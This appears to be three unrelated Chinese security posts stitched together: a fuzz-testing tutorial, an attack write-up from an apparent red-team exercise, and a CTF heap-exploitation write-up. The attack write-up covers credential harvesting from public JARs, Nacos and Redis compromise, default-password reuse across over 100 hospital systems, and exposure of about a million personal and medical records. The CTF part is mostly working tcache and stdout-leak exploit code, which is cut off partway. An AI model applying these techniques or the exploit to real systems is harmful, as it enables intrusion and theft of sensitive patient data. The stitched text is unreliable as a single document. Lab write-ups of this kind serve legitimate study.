模糊测试的思想是构造所有可能的输入,并将输入传递给被测目标程序,然后监控目标程序在接收输入后是否出现异常情况,以此来发现软件中存在的缺陷和故障。
构造输入 -> 输入 -> 监控状态 -> 判断异常 -> 报告
抓住了大程序开发的痛点,一定程度上提升了安全测试的效率。
基本概念
其中内容加粗体的属于概念。在此我用简单的话语诠释其中的关系。
给一个简单的图阐释关系,可以配合文字理解。
模糊测试通常包括模糊测试实例,而模糊测试实例包括了两个重要元素:数据集合和程序执行路径。
数据集合即输入数据的集合,程序执行路径指的是程序指令序列和对应的内存和寄存器状态。
我们再分开谈谈数据集合和程序执行路径。
数据集合的元素由数据组成,数据包括数据的取值和输入条件(网络输出或窗口输出)。
程序执行路径由执行状态和执行状态的支配关系组成。执行状态包括了二进制指令(比如此时是mov rax,1)和内存与寄存器状态的集合(比如此时rbx = 0, rcx = 1 ……内存中0x404080 = '\x90')。支配关系指的是下一个到哪里,条件判断等等。
套娃结束了,接下来就是程序异常、异常执行路径,等价执行路径,测试用例集合,测试用例序号,异常测试用例,等价测试用例。
程序异常:程序异常是在程序执行过程中出现的不正常行为,通常导致程序崩溃、错误或漏洞暴露。模糊测试的目标之一是发现程序异常。
异常执行路径:异常执行路径是程序在异常情况下的执行路径,它包括了导致异常的条件和操作序列。模糊测试可以通过检测异常执行路径来发现潜在的漏洞。
等价执行路径:等价执行路径是指在不同输入情况下,程序可能会采取相似或等效的执行路径。理解等价执行路径有助于减少测试用例的冗余。
测试用例集合:测试用例集合包含了多个测试用例,每个测试用例都是一个输入数据和对应的测试条件的组合。模糊测试通常会生成大量的测试用例,以检测各种可能的情况。
测试用例序号:测试用例序号是测试用例在测试用例集合中的唯一标识,用于跟踪和管理测试进度和结果。
异常测试用例(Exception Test Case):
异常测试用例是用于测试软件系统如何处理异常情况的测试实例。
这些异常情况可能包括输入无效数据、越界访问、不合法的操作、资源不足等。
目标是验证软件是否能够优雅地处理这些异常,而不会导致崩溃或不正常行为。
例如,一个异常测试用例可能是尝试输入一个非数字字符到一个要求输入数字的字段中,以测试程序是否能够捕获和处理这种非法输入。
等价测试用例(Equivalence Test Case):
等价测试用例是用于测试软件系统在不同输入情况下是否表现相似或等效的测试实例。
这些测试用例通常分为等效类别,每个等效类别代表一组具有相似特征的输入数据。
目标是在每个等效类别中选择一个或多个测试用例,以代表该类别的所有可能输入情况。
通过这种方式,测试用例集合可以更全面地覆盖各种输入情况,而不必测试每个可能的输入。
例如,对于一个登录功能,等价测试用例可以包括一个有效的用户名和密码组合、一个无效的用户名和有效的密码组合,以及一个有效的用户名和无效的密码组合,以代表不同的等效类别。
简单说,测试用例是用于测试软件系统的具体实例,异常测试用例用于验证异常情况的处理,而等价测试用例用于覆盖不同等效类别的输入情况,以确保软件在各种情况下都能正确运行。有效的测试用例设计是软件测试的关键,它有助于发现潜在问题并提高软件的质量。
2.系统组成
模糊测试分为测试数据生成,数据交互与控制,测试结果反馈三个阶段。
测试数据生成->数据交互与控制->测试结果反馈
根据这些过程,对应着模糊测试一般分为三个模块:数据生成模块,环境控制模块和状态监控模块。
模糊测试通常分为三个关键模块,即数据生成模块、环境控制模块和状态监控模块。这些模块在模糊测试中起着不同但关键的作用:
数据生成模块:
用途:数据生成模块的主要目标是生成模糊测试用例,这些测试用例将用作目标程序或系统的输入。这些测试用例通常包括各种异常、不合法或随机的数据,以检测程序在面对不正常输入时的反应。
方法:数据生成模块可以使用多种技术来创建测试用例,包括但不限于以下几种:
随机生成:生成随机数据,包括字符、数字、二进制数据等。
模式匹配:根据已知的数据模式或协议规范生成数据。例如,HTTP请求中的URL、参数和头部可以按照HTTP协议规范生成。
变异:基于已有的有效输入,通过添加、删除或修改数据的方式来生成测试用例,使其变得不正常或异常。
基于语法的生成:使用语法规则来生成数据,确保生成的数据符合语法结构,如JSON、XML等。
环境控制模块:
用途:环境控制模块负责模拟测试环境,包括目标程序的运行环境以及可能的外部条件,如网络、文件系统等。它确保模糊测试过程中的环境是可控制和可复制的。
方法:环境控制模块可以采用以下方法来实现环境模拟和控制:
虚拟化:在虚拟环境中运行目标程序,以隔离测试过程,确保系统稳定性和安全性。
模拟网络环境:模拟不同网络条件,如高延迟、丢包等,以测试程序在不同网络条件下的表现。
文件系统操作:模拟文件操作,包括文件创建、删除、修改等,以测试程序对文件操作的鲁棒性。
资源限制:限制CPU、内存和网络带宽等资源,以模拟资源受限的情况。
状态监控模块:
用途:状态监控模块用于监视目标程序的执行状态和异常情况。它捕获程序的行为,包括崩溃、错误、异常输出等,并将这些信息用于后续的分析和报告。
方法:状态监控模块可以采用以下方法来监控目标程序的状态:
日志记录:记录程序的输出、错误消息和运行时信息,以便后续分析。
异常检测:监测程序是否发生崩溃或异常,例如,通过监视进程是否终止或产生错误代码。
内存分析:检查程序的内存使用情况,以发现内存泄漏或非法内存访问。
性能分析:监控程序的性能指标,如响应时间、CPU利用率等,以评估程序的性能稳定性。
鲁棒性(Robustness)是计算机科学和软件工程领域的一个重要概念,它指的是系统或软件在面对异常或不正常输入、外部条件或行为时能够保持稳定性和可靠性的能力。
值得一提:有关状态监控模块的处理
状态监控模块在捕获异常时需要对测试对象异常的三种情况进行分别处理:
被测试对象内置的异常处理流程捕获的异常:这种异常情况是指目标程序或系统能够识别和捕获异常,并按照其内置的异常处理流程来处理。这些异常通常不会导致程序崩溃,因为它们得到了适当的处理。这类异常情况通常不会揭示漏洞,因为程序已经处理了异常情况。
无法被测试对象内置的异常处理捕获的,但因异常被中断执行的异常:这种异常情况是指目标程序或系统无法正确捕获或处理异常,但异常的出现导致了程序的中断或崩溃。尽管程序崩溃,但这些异常情况通常具有更高的价值,因为它们表明存在漏洞或错误,可能需要进行修复。
无法被测试对象内置的异常处理捕获的,但异常不被中断执行,导致非预期的结果的异常:这种异常情况是指异常没有导致程序的崩溃,但却引发了程序内部的非预期行为或错误结果。这类异常情况同样具有较高的价值,因为它们可能揭示了潜在的漏洞或问题,尤其是在用户体验和系统可靠性方面。
其中,后两种异常情况更有价值,因为它们通常指示了潜在的漏洞或问题,这些问题可能需要开发人员的关注和修复,以提高系统的鲁棒性和稳定性。模糊测试的目标之一就是发现并报告这些异常情况,以帮助改进软件的质量。
0x03 基础方法技术
数据生成方法
1.基本类型数据生成方法
预定义序列:
经验数据:经验数据是基于先前的测试经验或实际使用中的数据样本来定义的。它们通常反映了一组合理的、常见的或已知的输入值。经验数据有助于测试基础功能,确保软件在正常情况下运行。例如,对于一个登录页面,经验数据可能包括一组有效的用户名和密码组合。
特别数据:特别数据是为了测试特定边界条件或较少常见情况而定义的数据。这些数据通常不符合常规输入,但可能会揭示潜在问题。例如,测试一个计算器应用程序时,特别数据可能包括除以零的情况。
随机数序列:
随机数序列是根据随机性生成的一系列数字。它们广泛用于模糊测试,因为它们可以模拟未知或不可预测的输入情况。随机数序列可以包括整数、浮点数或其他数字类型。
随机数生成器可以根据不同的分布(如均匀分布、正态分布等)生成随机数。在模糊测试中,可以指定随机数的范围和分布来控制生成的数据。
小数值覆盖大数值:
这是一种测试策略,其中测试用例倾向于包括较小的数值,以测试系统对较小值的处理。这是因为较小的值可能更容易导致不正常行为,如除以零或下溢。
例如,在测试一个计算器应用程序时,可以生成一系列小于1的随机浮点数来检查除法操作的鲁棒性。
2.复合类型数据生成方法
文件、网络数据包分别按照文件格式网络协议格式将基本类型数据组合成符合类型数据。
文件生成:
对于文本文件,可以创建一个文本文件对象,然后将字符串数据写入文件。在不同的编程语言中,有文件写入和操作的库和函数可供使用。
对于二进制文件,可以使用二进制文件的格式规范来构建文件头和内容部分,然后将它们写入文件。
网络数据包生成:
根据特定的网络协议规范,创建网络数据包对象。这可以包括数据包头和数据包主体。
在各种编程语言中,有库和工具可用于构建和编码网络数据包,如struct模块(Python)、ByteBuffer(Java)等。
XML和JSON生成:
对于XML,可以使用XML解析库或API创建XML文档对象,然后添加元素和属性。
对于JSON,可以创建JSON对象,包括键值对和嵌套的数组和对象。
数据库记录生成:
使用数据库连接库或ORM(对象关系映射)工具创建数据库记录对象。不同的编程语言和数据库系统有不同的方法来操作数据库。
设置记录的字段值,然后执行插入或更新操作。
HTML生成:
创建HTML文档对象,然后使用HTML标签和属性来构建文档。
在许多编程语言中,可以使用字符串拼接或HTML构建库来构建HTML文档。
复杂对象生成:
根据数据结构的定义,构建复杂的数据对象。这可能涉及创建嵌套的数据结构、图形对象等。
使用编程语言的数据结构和面向对象编程的功能来创建对象。
3.多阶段交互类型数据生成方法
当测试对象向外界提供服务的过程包含多次数据交互时,客户端与服务端的数据包必须根据对方的请求与相应进行构造,双方按照协议约定的过程按次序发送数据。多阶段交互类型数据生成方法用于模拟具有多次数据交互的复杂场景,通常在客户端和服务端之间进行数据包的交互。这种方法模拟了真实世界中的数据通信过程,涵盖了多个阶段的数据生成和交互,以测试系统的互操作性和完整性。
简单来说就是通过交互进行数据生成。
以下是多阶段交互类型数据生成方法的一般步骤:
定义交互协议:
首先,需要明确定义客户端和服务端之间的交互协议。这包括请求和响应的消息格式、顺序、字段和协议规范。
生成请求数据:
从客户端的角度开始,生成符合协议规范的请求数据包。这可能包括构建请求头、请求体、参数等信息。
发送请求:
将生成的请求数据发送到服务端,模拟客户端向服务端发出请求。
解析请求:
在服务端接收到请求后,解析请求数据包,检查其有效性和合法性。服务端需要遵循协议规范来处理请求。
生成响应数据:
根据接收到的请求,服务端生成符合协议规范的响应数据包。这包括构建响应头、响应体、状态码等信息。
发送响应:
将生成的响应数据发送回客户端,模拟服务端对客户端的响应。
解析响应:
客户端接收到响应后,解析响应数据包,验证响应是否符合协议规范。
继续交互:
根据协议规范,可能需要进行多轮的数据交互。客户端和服务端依次生成请求和响应,模拟多阶段的交互。
结束交互:
最后,根据测试需求,可以结束交互并生成测试报告,分析交互期间发现的问题和异常。
多阶段交互类型数据生成方法可以帮助测试人员或工具模拟复杂的数据通信场景,以确保系统在实际使用中能够正确处理多个数据交互步骤。这对于测试网络应用程序、通信协议、API等非常重要,因为它可以发现系统中的互操作性问题、数据丢失、顺序错误等潜在问题。
环境控制技术
1.运行环境控制技术
运行环境控制技术在模糊测试中扮演着重要的角色,它涉及到管理和控制模糊测试的执行环境,以确保测试的可控性和可重复性。
简单来说就是构建一个符合测试实际的环,能够控制和维护,并且进行恢复的技术。
构建环境->控制和维护->恢复
以下是关于运行环境控制技术的一些常见内容:
虚拟化和容器化:
使用虚拟机或容器技术可以创建隔离的测试环境,使测试过程不会对实际系统产生影响。
通过虚拟化或容器化,可以轻松创建多个独立的测试环境,每个环境可以运行不同的测试用例。
快照和还原:
创建运行环境的快照,以记录环境的状态和配置。在测试结束后,可以还原环境到快照状态,确保每次测试都从相同的起点开始。
这对于确保可重复性和排查问题非常有用。
资源隔离:
控制测试过程中的资源使用,以避免测试对主机系统的影响。
可以限制CPU、内存、网络带宽等资源的使用,确保测试不会导致系统崩溃或不稳定。
环境变量控制:
通过设置环境变量,可以控制测试过程中使用的配置和参数。这包括路径、文件配置、网络地址等。
确保测试环境与实际环境的配置一致。
随机性控制:
有时模糊测试需要随机生成输入数据,但也可能需要控制随机性,以确保测试可控。
可以使用种子值来控制伪随机数生成器的行为,以在多次测试中生成相同的随机数据。
日志和监控:
记录测试过程中的日志和监控数据,以便后续分析和排查问题。
这包括记录测试用例、异常情况、资源利用率等信息。
恢复机制:
在测试过程中,可能会发生不正常的情况,如崩溃或异常。具备恢复机制可以在测试中自动处理这些问题,使测试能够继续进行。
并发和分布式测试:
在模糊测试中,可能需要同时执行大量测试用例,使用并发和分布式测试可以提高测试效率。
这涉及到控制多个测试实例的协同工作,确保它们不会相互干扰。
运行环境控制技术的目标是确保模糊测试的可控性、可重复性和安全性。通过这些技术,可以更好地管理测试环境,从而更有效地发现潜在的问题和漏洞。
2.程序运行控制技术
程序启动和终止:
控制模糊测试程序的启动和终止,确保它可以在需要时启动,以及在测试结束后正确终止。
暂停和继续:
允许在测试过程中暂停 fuzz 测试程序的执行,以便检查状态、调试问题或进行其他操作。之后可以继续执行测试。
调试和修改:
提供调试功能,允许测试人员在运行时检查程序状态、变量值和执行路径,以排查问题。
在需要时,还可以修改程序的行为,例如修改输入数据、修改配置或注入调试语句。
进程句柄控制:
使用进程句柄,可以监控和控制 fuzz 测试程序的执行。这包括获取进程状态、发送信号、终止进程等。
API接口:
提供各种API接口,以便外部程序与 fuzz 测试程序进行通信和控制。这些接口可以用于启动测试、发送测试用例、检索测试结果等。
3.数据强制输入技术
Fuzz测试的数据强制输入技术是用于将模糊测试生成的测试数据传递给目标程序的方法。这些技术涵盖了多个方面,包括网络数据输入、文件数据输入、用户操作输入以及内存数据修改。
分别用于网络、文件、图形用户界面和内存攻击。
以下是关于这些技术的详细说明:
网络数据输入技术:
在网络数据输入技术中,模糊测试工具通过模拟网络通信方式将生成的测试数据发送给目标程序。这通常涉及以下步骤:
网络形式强制发送:工具使用适当的网络协议连接到目标程序,按照协议规范将测试数据发送给目标。
连接协议:模糊测试工具使用与目标程序通信所需的协议,例如HTTP、FTP、SMTP等。
数据包构造:根据协议规范构造符合格式的数据包,将测试数据包含在数据包中。
这种方法适用于测试网络应用程序、服务器、通信协议等,以验证它们对不规范或恶意输入的鲁棒性。
文件数据输入技术:
文件数据输入技术用于将生成的测试数据传递给目标程序的方式,通常通过文件传递。这包括以下方法:
命令行参数传入:模糊测试工具将测试数据作为命令行参数传递给目标程序。
进程交互机制:工具可以通过与目标程序的进程进行交互,将数据传递给正在运行的程序。
文件读取:测试工具可以创建临时文件,将测试数据写入文件,然后通过文件读取操作将数据提供给目标程序。
这种方法适用于测试本地应用程序、命令行工具等,以验证它们对不同数据源的处理。
用户操作输入技术:
用户操作输入技术模拟用户与目标程序进行交互的方式,包括模拟鼠标、键盘输入和其他用户界面操作。这包括以下方法:
模拟鼠标和键盘输入:工具模拟用户通过键盘输入文本、通过鼠标点击按钮或执行其他用户界面操作,将测试数据输入到目标程序中。
这种方法适用于测试图形用户界面(GUI)应用程序,以验证它们对用户输入的鲁棒性。
内存数据修改技术:
内存数据修改技术允许模糊测试工具直接在目标程序的内存中修改数据,以模拟恶意攻击或异常情况。这包括以下方法:
直接在内存中进行修改:工具通过访问目标程序的内存空间,修改特定的内存位置,注入测试数据或更改程序状态。
这种方法通常用于测试漏洞、缓冲区溢出等安全问题,以评估程序的鲁棒性。
这些数据强制输入技术允许模糊测试工具将测试数据传递给目标程序,以评估程序的鲁棒性和安全性。根据测试目标和应用程序的性质,可以选择适当的技术来进行模糊测试。
状态监控技术
状态监控技术在模糊测试中起着关键作用,它允许测试人员监控目标程序的生命周期、执行状态、异常状态以及输入输出,从而更好地评估程序的鲁棒性和安全性。以下是关于这些监控技术的简要说明:
生命周期监控技术:
生命周期监控技术用于追踪目标程序的整个生命周期,包括启动、执行和终止阶段。
实现方法:
启动和终止:监控程序的启动和终止,可以通过记录程序的启动时间和结束时间来实现。
进程监控:使用操作系统提供的工具或库来监控目标程序的进程,以确保它始终处于活动状态。
日志记录:记录程序的运行日志,包括启动和终止事件,以便进行后续分析。
输入输出监控技术:
输入输出监控技术用于捕获目标程序与外部环境的数据交互,包括输入数据和输出结果。
实现方法:
输入捕获:截获模糊测试工具生成的输入数据,包括网络数据、文件数据、用户操作等。
输出监控:捕获目标程序的输出结果,包括响应数据、日志、错误信息等。
数据流追踪:使用数据流分析工具来追踪输入数据在程序内部的处理过程,以检测数据修改或异常行为。
执行状态监控技术:
执行状态监控技术用于实时监控目标程序的执行状态,以检测异常行为和问题。
实现方法:
异常检测:监控程序的执行过程,检测是否出现异常情况,如崩溃、死锁、超时等。
内存检查:定期检查程序的内存使用情况,以检测内存泄漏或溢出问题。
CPU利用率:监控程序的CPU利用率,以确定是否存在高负载情况。
这些监控技术可以通过使用各种工具和库来实现,具体方法取决于测试环境和测试工具的要求。通过监控目标程序的生命周期、输入输出和执行状态,测试人员可以及时发现异常情况并进行更准确的控制和分析,以提高模糊测试的效率和效果。
0x04 模糊测试优化方法
让我分别解释一下这些方法:
灰盒模糊测试:
灰盒模糊测试是介于白盒(静态分析)和黑盒(仅关注输入输出)之间的一种测试方法。
在灰盒模糊测试中,测试人员或工具通常会逆向工程目标程序,分析其内部结构和逻辑,以更好地理解程序的运行方式。
然后,根据这些了解,有针对性地生成测试用例,限定字段值或者注重测试一些关键路径和敏感函数,以提高发现漏洞的机会。
白盒模糊测试:
白盒模糊测试进一步加强了灰盒测试的概念,引入了符号执行等高级分析技术。
在白盒模糊测试中,测试工具会使用逆向工程技术分析目标程序的源代码、控制流、数据流等内部信息。
这些信息用于构建符号执行模型,以理解程序的执行路径,然后生成测试用例,以测试这些路径。
白盒模糊测试可以更全面地覆盖程序的各种执行路径,从而提高漏洞的发现概率。
基于反馈的模糊测试:
基于反馈的模糊测试方法侧重于收集和分析测试过程中产生的反馈信息,以优化后续测试用例的生成。
在此方法中,测试工具会统计分析模糊测试用例的特征和测试结果的特征。
使用这些信息,测试工具可以动态地调整测试用例生成策略,以生成更有潜力的测试用例,进一步提高发现漏洞的效率。
这种方法通常使用统计方法(如u测试)来分析和调整测试用例的生成,从而实现智能的测试。
这些高级模糊测试方法旨在通过更深入的分析和优化来提高模糊测试的效率和效果。它们通常需要更多的专业知识和复杂的工具支持,但可以在发现漏洞方面取得更好的结果。选择哪种方法通常取决于测试目标、测试环境和可用资源。
0x05 工具推荐
这里有几种与模糊测试相关的工具和技术,包括AFL-Unicorn、Qiling、SlowFuzz、PerfFuzz、以及AFL++的QEMU和Unicorn模式。让我们来看看它们的优点、缺点以及双重作用:
AFL-Unicorn:
优点:
允许将American Fuzzy Lop(AFL)与Unicorn引擎结合使用,从而能够对更广泛的目标进行模糊测试。
具有高度可定制性,用户可以为目标二进制文件创建自定义的Unicorn插件。
缺点:
复杂性较高,需要熟悉AFL和Unicorn。
需要较多的配置和调试。
Qiling:
优点:
可以模拟多种操作系统,包括Linux、Windows等,使其具有广泛的应用。
允许用户在用户模式和内核模式下进行模糊测试。
缺点:
需要深入了解操作系统的内部工作原理,以进行高效的模糊测试。
需要额外的配置和学习曲线。
SlowFuzz:
优点:
采用基于符号执行的方法,具有较高的漏洞发现潜力。
能够在更广泛的输入空间中搜索漏洞。
缺点:
符号执行速度较慢,可能需要更多的时间来执行测试。
可能需要更多的计算资源。
PerfFuzz:
优点:
利用性能计数器(Performance Counters)来导向模糊测试,从而提高了测试效率。
可以更快地发现性能敏感漏洞。
缺点:
对于一些非性能相关的漏洞,可能不够敏感。
对于某些平台,可能需要额外的硬件支持。
AFL++的QEMU和Unicorn模式:
优点:
可以使用AFL++与QEMU或Unicorn引擎结合,提供了广泛的目标支持。
AFL++改进了原始AFL的性能和功能,提供了更好的模糊测试体验。
缺点:
需要一定的配置和学习曲线。
在某些情况下,可能需要更多的计算资源。
这些工具和技术各有优点和缺点,选择哪一个取决于具体需求和目标。例如,如果需要测试多个操作系统,Qiling可能是一个不错的选择。如果关注性能敏感漏洞,PerfFuzz可能更合适。另外,一些工具可以结合使用,以充分发挥各自的优势。最终,选择合适的工具取决于您的具体测试场景和资源可用性。
0x06 尾声
阅读到这里我们简单了解了模糊测试(Fuzz Testing)的各个方面,包括其基本概念、方法和相关技术。模糊测试作为一种强大的测试方法,具有广泛的应用领域,可用于发现软件漏洞、提高安全性和质量。
我们深入了解了模糊测试的基本要素,包括测试用例、异常测试用例和等价测试用例,以及数据集合和程序执行路径。这些概念构成了模糊测试的基础。探索了模糊测试的不同阶段,包括测试数据生成、数据交互与控制、测试结果反馈,以及这些阶段的关联模块和技术。这些阶段共同构建了模糊测试的全貌。
此外,我们介绍了一些高级模糊测试技术,如灰盒模糊测试、白盒模糊测试和基于反馈的模糊测试,以及它们的应用和优势。并且最后,推荐了一些相关工具及其优劣。
接下来,让我们把主动权交回你的手里,去探索更广阔的网络安全世界吧!
记一次地市hw:从供应商到目标站再到百万信息泄露
起因:某市hw、给了某医院的资产,根据前期进行的信息收集就开始打,奈何目标单位资产太少,唯有一个IP资产稍微多一点点,登录框就两个,屡次尝试弱口令、未授权等均失败。
事件型-通用性-反编译jar-Naocs-后台-供应商到目标站-批量检测-内网
1.事件型-通用型
尝试互联网获取更多目标资产的信息。fofa搜索IP发现这样一个系统,是通用型的系统(根据指纹和ico自动识别的)、大概100+单位,包括县级、市级等均用此系统。
由于之前有过类似的从供应商一路打到目标站的经历,这次猜测应该也可以
查看网站底部的备案号,发现并不是目标单位的,而是供应商的,于是开始针对供应商进行信息收集
定位到了某家公司,天眼查显示八个备案域名:
直接上enscan收集备案信息,随后根据收集到的所有备案域名,查找真实IP以及端口等
根据获取到的域名,用fofa直接反查IP、子域等等,经过筛选之后,共有八个真实IP
随后就是找端口、找指纹什么的,我喜欢用fofa,现在fofa支持批量搜索100个IP资产的功能,根据系统的ICO识别指纹很快
2.反编译jar
很快根据fofa的ico摸到了nexus系统:一个maven仓库管理器
弱口令:admin/admin、admin/admin123等均失败
弱口令尝试无果后,根据之前的反编译jar的思路,直接点击browse查看maven公开仓库
找项目仓库,发现了不少的jar包
直接下载jar包反编译查看敏感信息,包括spring鉴权口令以及redis口令均可查看
大概几十个jar包,挨个尝试敏感信息获取,将获取到的敏感信息存一个密码本中,留着撞库爆破用很快收集到了mysql用户名口令、oracle用户名口令、Redis信息、nacos口令信息、部分服务的ak/sk接口(比如人脸识别api、语言api等等),但大多都处于内网,一时无法利用。
3.Nacos
继续查看端口结果,发现其中一个IP,开放的端口很大,直到50000以上。其中一个端口48848瞬间引起了我的注意,因为nacos默认端口8848嘛,随后点开提示404(要的就是404),反手在路径处输入nacos,直接跳转到nacos登陆界面
尝试默认口令:nacos/nacos、test/123456、nacos/123456均失败,未授权添加用户以及获取用户名口令均失败、尝试jwt绕过登录等等也都失败……
用刚刚反编译jar获取到的口令进行尝试,在尝试了几个之后,成功跳转到后台
随即:
有配置就有东西,直接翻找配置文件,找敏感信息、同样发现了redis、MySQL等连接信息、还有短信云服务的ak/sk、这些AK/SK大多都是可接入存储桶什么的、但是没东西,也没有云主机……
4.通用型口令进后台
从nacos系统获取到的敏感信息继续添加到密码本中,继续找别的端口,发现了某端口下开放着和目标站点一模一样的系统界面,利用收集到的口令(密码本)尝试进行登陆供应商的系统:
尝试了几个之后。。成功以收集到的强口令登陆该系统
在某档案管理处发现4w+个人信息(身份证、手机、姓名、地址、病历等等)
在系统用户中找到3K+个人信息
翻找系统用户列表还发现系统用户还存在一个manager用户、但是默认管理员admin账户未找到,怀疑是系统开发商留下的默认用户admin,密码稍微有点复杂,大小写字母+数字+特殊符号组合。尝试利用该口令登陆该IP资产下的其它相同系统,均登录成功分别为1w+、14w+、5w+、24w+等众多敏感信息,均为不同的医院
根据每个系统的特点以及信息数量可以得到,系统存在开发商管理员用户名:admin和manager,且口令为开发商初始默认口令
5.从供应商到目标站
根据前期收集到的信息,直接以初始口令登录此次hw目标站点成功打入后台,先是1K+信息
在系统管理-用户管理中同样发现存在manager用户直接以默认口令尝试登陆
获取5K+敏感信息,查看接口可获取到未脱敏信息
6.afrog批量POC
前期fofa找出来的结果,大概100+系统用afrog编写批量爆破poc尝试登陆,result=1就是登录成功;afrog、就是快、准、狠
粗略估计一下,大概100w左右的数据,永远永远的好起来了……
7.redis-供应商内网
根据前期获取到的redis口令,登陆redis成功,并且为root权限,尝试写入公钥getshell老样子,先用xshell生成公钥,将此公钥复制到liqun工具箱中,直接进行写入即可
在连接的时候踩坑了,因为目标主机开放的ssh端口过多,其中一个端口44622写入失败,换一个端口44722写入成功了。
接下来就是内网常规操作了……
realloc函数应用&IO泄露体验
本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。
在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的。
realloc
realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果
size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
stdout泄露
这里我只给出结论,具体可以https://blog.csdn.net/qq_41202237/article/details/113845320?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166341506616800186544437%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166341506616800186544437&biz_id=0&utm_medium=distribute.pc_se
设置_flags & _IO_NO_WRITES = 0
设置_flags & _IO_CURRENTLY_PUTTING = 1
设置_flags & _IO_IS_APPENDING = 1
_flags = 0xFBAD1800
设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)
具备以上基础我们可以来实战一题了
roarctf_2019_realloc_magic
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位,保护全开
前情提要:
本题部署在2.27-3ubuntu1_amd64/libc-2.27.so
建议关闭linux地址空间随机化(ASLR),方便调试。
在root用户下执行
echo 0 > /proc/sys/kernel/randomize_va_space
realloc
int re()
{
unsigned int size; // [rsp+Ch] [rbp-4h]
puts("Size?");
size = get_int();
realloc_ptr = realloc(realloc_ptr, size);
puts("Content?");
read(0, realloc_ptr, size);
return puts("Done");
}
free
int fr()
{
free(realloc_ptr);
return puts("Done");
}
存在uaf,可以利用起来
这里有个清零指针的函数
int ba()
{
if ( lock )
exit(-1);
lock = 1;
realloc_ptr = 0LL;
return puts("Done");
}
程序特别简单,但是利用比较精妙,
在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写
思路
通过realloc,和uaf,构造好tcache的布局
然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook
最后正常打free_hook:free_hook-->system-->/bin/sh
首先利用malloc(size)和free(size)在tcache上面先准备好
malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)
free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)
realloc(0x20,b'b') #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
realloc(0,"")
realloc(0x90,b'b')
realloc(0,"")
realloc(0x10,b'b')
realloc(0,"")
realloc(0x90,b'b')
for i in range(7):
dele()
realloc(0,"")
这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来
为什么第八次free需要使用realloc去free呢?
因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用
看一下此时的堆空间
realloc(0x20,b"aaa")
pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
#realloc(0x50,b'aaa')
#这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下
realloc(0x50,pl)
这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,
后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系
首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc
后面的"\x60\xc7"看图就知道了
_IO_2_1_stdout_跟main_arena相差了4位,并且低三位是固定的,只需要爆破一位
(因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x))
直接看成果图
可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行
realloc(0,"")
realloc(0x90,b'aa')
realloc(0,"")
pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
realloc(0x90,pl)
这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的
0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800
这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58
也就是
把_IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可
然后算出free_hook,system的libc地址,
接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0
sla(menu,'666')
realloc(0x30,b'a')
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0x10,b'b')#2
realloc(0,"")
realloc(0xa0,b'b')
for i in range(7):
dele()
realloc(0,"")
realloc(0x30,b'a')pl=p64(0)*7+p64(0x71)+p64(free-8)
realloc(0x70,pl)
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0xa0,b'/bin/sh\x00'+p64(sys))
dele()
free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system
完整exp:
from pwn import*
def debug(cmd = 0):
if cmd == 0:
gdb.attach(r)
else:
gdb.attach(r,cmd)
pause()
menu=b">>"
def realloc(size,con):
r.sendlineafter(menu, b'1')
r.sendlineafter(b'ize',str(size))
r.sendafter(b'ent',con)
def dele():
r.sendlineafter(menu,b'2')
libc=ELF("libc-2.27.so")
context(os='linux', arch='amd64',log_level='debug')
def pwn():
realloc(0x20,b'b')
realloc(0,"")
realloc(0x90,b'b')
realloc(0,"")
realloc(0x10,b'b')
realloc(0,"")
realloc(0x90,b'b')
for i in range(7):
dele()
realloc(0,"")
realloc(0x20,b"aaa")
payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
#realloc(0x50,b'aaa')
realloc(0x50,payload)
realloc(0,"")
realloc(0x90,b'aa')
realloc(0,"")
payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
realloc(0x90,payload)
#debug()
leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
print(hex(leak))
free=leak+libc.sym['__free_hook']
